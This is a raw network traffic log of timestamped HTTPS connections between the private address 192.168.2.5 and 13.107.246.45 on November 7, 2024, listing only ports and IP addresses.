Nov 7, 2024 23:47:46.073637962 CET	443	49875	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.125323057 CET	49875	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.126867056 CET	49875	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.126877069 CET	443	49875	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.138437986 CET	49875	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.138447046 CET	443	49875	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.156677961 CET	443	49874	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.156707048 CET	443	49874	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.156747103 CET	443	49874	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.156775951 CET	49874	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.156827927 CET	49874	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.166812897 CET	49874	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.166831970 CET	443	49874	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.166842937 CET	49874	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.166847944 CET	443	49874	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.205940008 CET	49879	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.205967903 CET	443	49879	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.206157923 CET	49879	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.210014105 CET	49879	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.210021973 CET	443	49879	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.270071030 CET	443	49875	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.270136118 CET	443	49875	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.270191908 CET	49875	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.272485018 CET	49875	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.272485018 CET	49875	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.272496939 CET	443	49875	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.272506952 CET	443	49875	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.278605938 CET	49880	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.278654099 CET	443	49880	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.278913975 CET	49880	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.279289007 CET	49880	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.279303074 CET	443	49880	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.528482914 CET	443	49876	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.529133081 CET	49876	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.529159069 CET	443	49876	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.529926062 CET	49876	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.529933929 CET	443	49876	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.658576012 CET	443	49876	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.658632994 CET	443	49876	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.658776999 CET	49876	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.658962011 CET	49876	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.658974886 CET	443	49876	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.666275024 CET	49881	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.666312933 CET	443	49881	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.666454077 CET	49881	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.666881084 CET	49881	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.666893959 CET	443	49881	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.700062990 CET	443	49877	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.700372934 CET	443	49878	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.700927973 CET	49877	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.700943947 CET	443	49877	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.702107906 CET	49877	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.702112913 CET	443	49877	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.702744007 CET	49878	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.702759027 CET	443	49878	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.703627110 CET	49878	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.703632116 CET	443	49878	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.829550028 CET	443	49878	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.829576015 CET	443	49878	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.829619884 CET	443	49878	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.829622984 CET	49878	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.829667091 CET	49878	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.832515001 CET	443	49877	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.832690954 CET	443	49877	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.832746983 CET	49877	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.840692997 CET	49878	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.840707064 CET	443	49878	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.849369049 CET	49877	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.849385977 CET	443	49877	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.849396944 CET	49877	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.849402905 CET	443	49877	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.856200933 CET	49882	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.856240034 CET	443	49882	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.856328964 CET	49882	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.857153893 CET	49882	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.857170105 CET	443	49882	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.857347012 CET	49883	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.857367039 CET	443	49883	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.857419968 CET	49883	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.857629061 CET	49883	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.857636929 CET	443	49883	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.950715065 CET	443	49879	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.951179028 CET	49879	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.951189041 CET	443	49879	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:46.951725006 CET	49879	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:46.951729059 CET	443	49879	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.009892941 CET	443	49880	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.010319948 CET	49880	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.010343075 CET	443	49880	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.010910988 CET	49880	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.010917902 CET	443	49880	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.081593037 CET	443	49879	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.081690073 CET	443	49879	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.081792116 CET	49879	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.081846952 CET	49879	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.081856966 CET	443	49879	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.081866980 CET	49879	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.081871033 CET	443	49879	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.084532976 CET	49884	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.084568977 CET	443	49884	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.084629059 CET	49884	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.084748983 CET	49884	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.084765911 CET	443	49884	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.146166086 CET	443	49880	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.146480083 CET	443	49880	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.146552086 CET	49880	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.149522066 CET	49880	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.149543047 CET	443	49880	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.149553061 CET	49880	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.149559021 CET	443	49880	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.152267933 CET	49885	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.152314901 CET	443	49885	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.152388096 CET	49885	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.152522087 CET	49885	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.152534008 CET	443	49885	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.388596058 CET	443	49881	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.389148951 CET	49881	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.389166117 CET	443	49881	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.389729023 CET	49881	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.389733076 CET	443	49881	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.532862902 CET	443	49881	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.532917023 CET	443	49881	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.536175013 CET	49881	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.536489010 CET	49881	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.536504984 CET	443	49881	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.540106058 CET	49881	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.540126085 CET	443	49881	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.543517113 CET	49886	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.543562889 CET	443	49886	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.544193029 CET	49886	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.544887066 CET	49886	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.544902086 CET	443	49886	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.583939075 CET	443	49883	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.585033894 CET	443	49882	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.585072041 CET	49883	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.585084915 CET	443	49883	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.585937977 CET	49883	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.585942030 CET	443	49883	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.587431908 CET	49882	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.587452888 CET	443	49882	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.589423895 CET	49882	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.589431047 CET	443	49882	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.712630033 CET	443	49883	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.712685108 CET	443	49883	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.712871075 CET	49883	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.715754986 CET	443	49882	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.715778112 CET	443	49882	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.715810061 CET	443	49882	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.715873957 CET	49882	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.715873957 CET	49882	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.718046904 CET	49883	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.718046904 CET	49883	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.718056917 CET	443	49883	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.718060970 CET	443	49883	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.719798088 CET	49882	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.719815969 CET	443	49882	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.719850063 CET	49882	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.719855070 CET	443	49882	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.724843979 CET	49887	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.724867105 CET	443	49887	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.724939108 CET	49887	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.726643085 CET	49887	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.726644039 CET	49888	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.726655006 CET	443	49887	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.726685047 CET	443	49888	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.726749897 CET	49888	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.726838112 CET	49888	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.726850033 CET	443	49888	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.826723099 CET	443	49884	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.851296902 CET	49884	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.851330042 CET	443	49884	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.855202913 CET	49884	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.855214119 CET	443	49884	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.892766953 CET	443	49885	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.941304922 CET	49885	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.981602907 CET	443	49884	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.981626034 CET	443	49884	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.981661081 CET	443	49884	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:47.981689930 CET	49884	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:47.981785059 CET	49884	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.274586916 CET	443	49886	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.318731070 CET	49886	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.445363045 CET	443	49887	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.483258963 CET	443	49888	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.488754034 CET	49887	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.536503077 CET	49888	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.610631943 CET	49888	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.610644102 CET	443	49888	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.616235018 CET	49888	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.616239071 CET	443	49888	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.617451906 CET	49885	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.617477894 CET	443	49885	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.618818998 CET	49885	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.618825912 CET	443	49885	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.619484901 CET	49884	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.619522095 CET	443	49884	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.619539022 CET	49884	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.619545937 CET	443	49884	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.668467999 CET	49886	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.668487072 CET	443	49886	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.669455051 CET	49886	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.669460058 CET	443	49886	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.670463085 CET	49887	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.670475006 CET	443	49887	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.671650887 CET	49887	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.671654940 CET	443	49887	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.694086075 CET	49889	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.694128990 CET	443	49889	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.694186926 CET	49889	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.694323063 CET	49889	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.694336891 CET	443	49889	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.746999025 CET	443	49888	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.747023106 CET	443	49888	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.747061968 CET	443	49888	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.747061968 CET	49888	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.747104883 CET	49888	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.747339010 CET	49888	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.747355938 CET	443	49888	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.747364998 CET	49888	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.747370005 CET	443	49888	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.747981071 CET	443	49885	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.748116970 CET	443	49885	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.748159885 CET	49885	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.749639034 CET	49885	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.749650955 CET	443	49885	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.749658108 CET	49885	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.749664068 CET	443	49885	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.757863045 CET	49890	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.757880926 CET	443	49890	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.757944107 CET	49890	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.759674072 CET	49891	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.759685993 CET	443	49891	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.759802103 CET	49891	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.759911060 CET	49890	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.759922981 CET	443	49890	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.760138988 CET	49891	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.760149002 CET	443	49891	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.794791937 CET	443	49886	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.794888020 CET	443	49886	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.794930935 CET	49886	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.795042992 CET	49886	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.795053959 CET	443	49886	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.795097113 CET	49886	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.795100927 CET	443	49886	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.797183037 CET	443	49887	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.797265053 CET	443	49887	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.797311068 CET	49887	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.797708988 CET	49887	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.797713995 CET	443	49887	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.797739029 CET	49887	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.797743082 CET	443	49887	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.798155069 CET	49892	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.798197031 CET	443	49892	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.798315048 CET	49892	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.798577070 CET	49892	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.798593044 CET	443	49892	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.801896095 CET	49893	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.801913977 CET	443	49893	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:48.801984072 CET	49893	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.802134037 CET	49893	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:48.802145004 CET	443	49893	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.423712969 CET	443	49889	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.425368071 CET	49889	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.425394058 CET	443	49889	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.427109957 CET	49889	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.427119970 CET	443	49889	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.515459061 CET	443	49891	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.515733004 CET	443	49890	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.516144991 CET	49891	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.516163111 CET	443	49891	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.516721964 CET	49891	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.516726017 CET	443	49891	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.517546892 CET	49890	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.517546892 CET	49890	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.517576933 CET	443	49890	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.517591000 CET	443	49890	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.527151108 CET	443	49892	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.527863026 CET	49892	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.527889013 CET	443	49892	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.528932095 CET	49892	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.528938055 CET	443	49892	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.552840948 CET	443	49889	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.552957058 CET	443	49889	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.556199074 CET	49889	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.557564974 CET	443	49893	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.584136963 CET	49889	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.584152937 CET	443	49889	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.584228992 CET	49889	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.584234953 CET	443	49889	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.585375071 CET	49893	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.585390091 CET	443	49893	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.586250067 CET	49893	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.586256981 CET	443	49893	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.589998007 CET	49894	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.590035915 CET	443	49894	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.592245102 CET	49894	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.592526913 CET	49894	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.592540979 CET	443	49894	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.647728920 CET	443	49891	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.647774935 CET	443	49891	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.647869110 CET	49891	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.648401976 CET	443	49890	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.648529053 CET	443	49890	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.649672985 CET	49890	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.650142908 CET	49891	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.650142908 CET	49891	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.650151014 CET	443	49891	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.650160074 CET	443	49891	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.651514053 CET	49890	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.651514053 CET	49890	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.651535034 CET	443	49890	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.651561975 CET	443	49890	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.656532049 CET	443	49892	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.656553984 CET	443	49892	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.656585932 CET	443	49892	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.656613111 CET	49892	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.656706095 CET	49892	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.678647995 CET	49895	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.678668976 CET	443	49895	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.678884029 CET	49895	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.715606928 CET	443	49893	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.715652943 CET	443	49893	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.715759993 CET	49893	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.718445063 CET	49892	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.718461990 CET	443	49892	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.718554020 CET	49892	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.718560934 CET	443	49892	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.746778011 CET	49895	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.746790886 CET	443	49895	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.749788046 CET	49893	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.749795914 CET	443	49893	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.749840021 CET	49893	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.749845982 CET	443	49893	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.770257950 CET	49896	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.770302057 CET	443	49896	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.770379066 CET	49896	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.840898037 CET	49896	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.840920925 CET	443	49896	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:49.867165089 CET	49897	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:49.867192030 CET	443	49897	13.107.246.45	192.168.2.5
